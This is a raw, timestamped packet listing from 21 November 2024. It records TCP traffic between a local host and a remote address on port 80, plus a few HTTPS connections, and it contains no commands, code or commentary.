Nov 21, 2024 07:10:37.185967922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.186788082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.186872005 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.186908960 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.186979055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.187768936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.187822104 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.187823057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.187871933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.187944889 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.188756943 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.188863039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.188914061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.188963890 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.189729929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.189799070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.189834118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.189918041 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.190696955 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.190813065 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.190839052 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.190900087 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.191710949 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.191750050 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.191776991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.191795111 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.191976070 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.192027092 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.192034960 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.192717075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.192800999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.192836046 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.192866087 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.193661928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.193727970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.193788052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.194669962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.194747925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.194833040 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.195234060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.195628881 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.195674896 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.195744038 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.195792913 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.195822954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.195889950 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.195899010 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.196621895 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.196748018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.196762085 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.196829081 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.197602987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.197719097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.197772980 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.198580980 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.198645115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.198693991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.199620962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.199635029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.199706078 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.199706078 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.200577974 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.200640917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.200692892 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.200834990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.201570988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.201627016 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.201714993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.201769114 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.202521086 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.202596903 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.202663898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.202708960 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.203483105 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.203521013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.203531981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.203547001 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.203552961 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.203583956 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.204485893 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.204541922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.204598904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.204664946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.205480099 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.205589056 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.205614090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.205657959 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.206487894 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.206541061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.206614971 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.206661940 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.207323074 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.207351923 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.207386971 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.207395077 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.207451105 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.207463026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.207593918 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.207597971 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.208432913 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.208503962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.208570957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.208615065 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.209415913 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.209471941 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.209537029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.209582090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.210405111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.210457087 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.210500002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.210556984 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.211282015 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.211390018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.211461067 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.211482048 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.211535931 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.212405920 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.212455988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.212471962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.212532043 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.213346004 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.213444948 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.213574886 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.213632107 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.214364052 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.214451075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.214526892 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.214545012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.215126991 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.215195894 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.215218067 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.215225935 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.215286016 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.215300083 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.215418100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.215471029 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.216319084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.216387033 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.216454029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.216502905 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.217293024 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.217353106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.217392921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.217438936 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.218286991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.218373060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.218386889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.218430042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.219005108 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.219239950 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.219355106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.219364882 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.219414949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.220274925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.220351934 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.220398903 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.220438957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.221225023 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.221322060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.221338034 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.221368074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.222230911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.222317934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.222331047 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.222366095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.222954988 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.223032951 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.223040104 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.223223925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.223284006 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.223320961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.223449945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.224206924 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.224261999 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.224293947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.224975109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.225152016 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.225224018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.225255013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.225305080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.226171970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.226191998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.226227999 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.226250887 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.227130890 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.227189064 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.227231026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.227381945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.228106022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.228162050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.228195906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.228254080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.229110003 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.229162931 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.229223967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.229357004 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.230079889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.230166912 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.230289936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.230334997 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.231002092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.231051922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.253777981 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.253870010 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.253880024 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.256503105 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.256571054 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.256578922 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.308475971 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.335604906 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.337083101 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.337167025 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.337184906 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.337194920 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.337245941 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.339277983 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.339302063 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.339374065 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.339391947 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.340043068 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.340212107 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.340225935 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.340234041 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.340394020 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.340430021 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.340549946 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.343118906 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.343214035 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.343220949 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.344384909 CET	49847	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.344403028 CET	443	49847	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.344474077 CET	49847	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.344608068 CET	49847	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.344615936 CET	443	49847	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.346115112 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.346168995 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.346175909 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.349009037 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.349203110 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.349219084 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.351835012 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.351897001 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.351902962 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.354643106 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.354734898 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.354990005 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.355000019 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.371768951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.371946096 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.372009039 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.372190952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.372237921 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.372510910 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.373070002 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.373194933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.373265982 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.373342991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.373512030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.374159098 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.374197006 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.374289036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.374454975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.375157118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.375200987 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.375349998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.375428915 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.376147032 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.376215935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.376221895 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.376285076 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.377121925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.377177000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.377243042 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.377487898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.378123045 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.378201962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.378237963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.378257990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.379097939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.379152060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.379218102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.379453897 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.380121946 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.380171061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.380191088 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.380233049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.381078005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.381138086 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.381187916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.381268978 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.382086039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.382194042 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.382234097 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.382317066 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.383047104 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.383141041 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.383197069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.384095907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.384197950 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.384212017 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.384258032 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.385015965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.385127068 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.385179996 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.385997057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.386111975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.386157036 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.386972904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.387039900 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.387042046 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.387083054 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.387926102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.387979031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.388056993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.388319969 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.388942957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.389054060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.389103889 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.389914036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.389967918 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.390044928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.390104055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.390914917 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.391026020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.391083956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.391138077 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.391899109 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.391949892 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.392035007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.392164946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.392883062 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.392935991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.392971992 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.393045902 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.393872976 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.393927097 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.393981934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.394023895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.394846916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.394900084 CET	49828	80	192.168.2.4	185.215.113.16
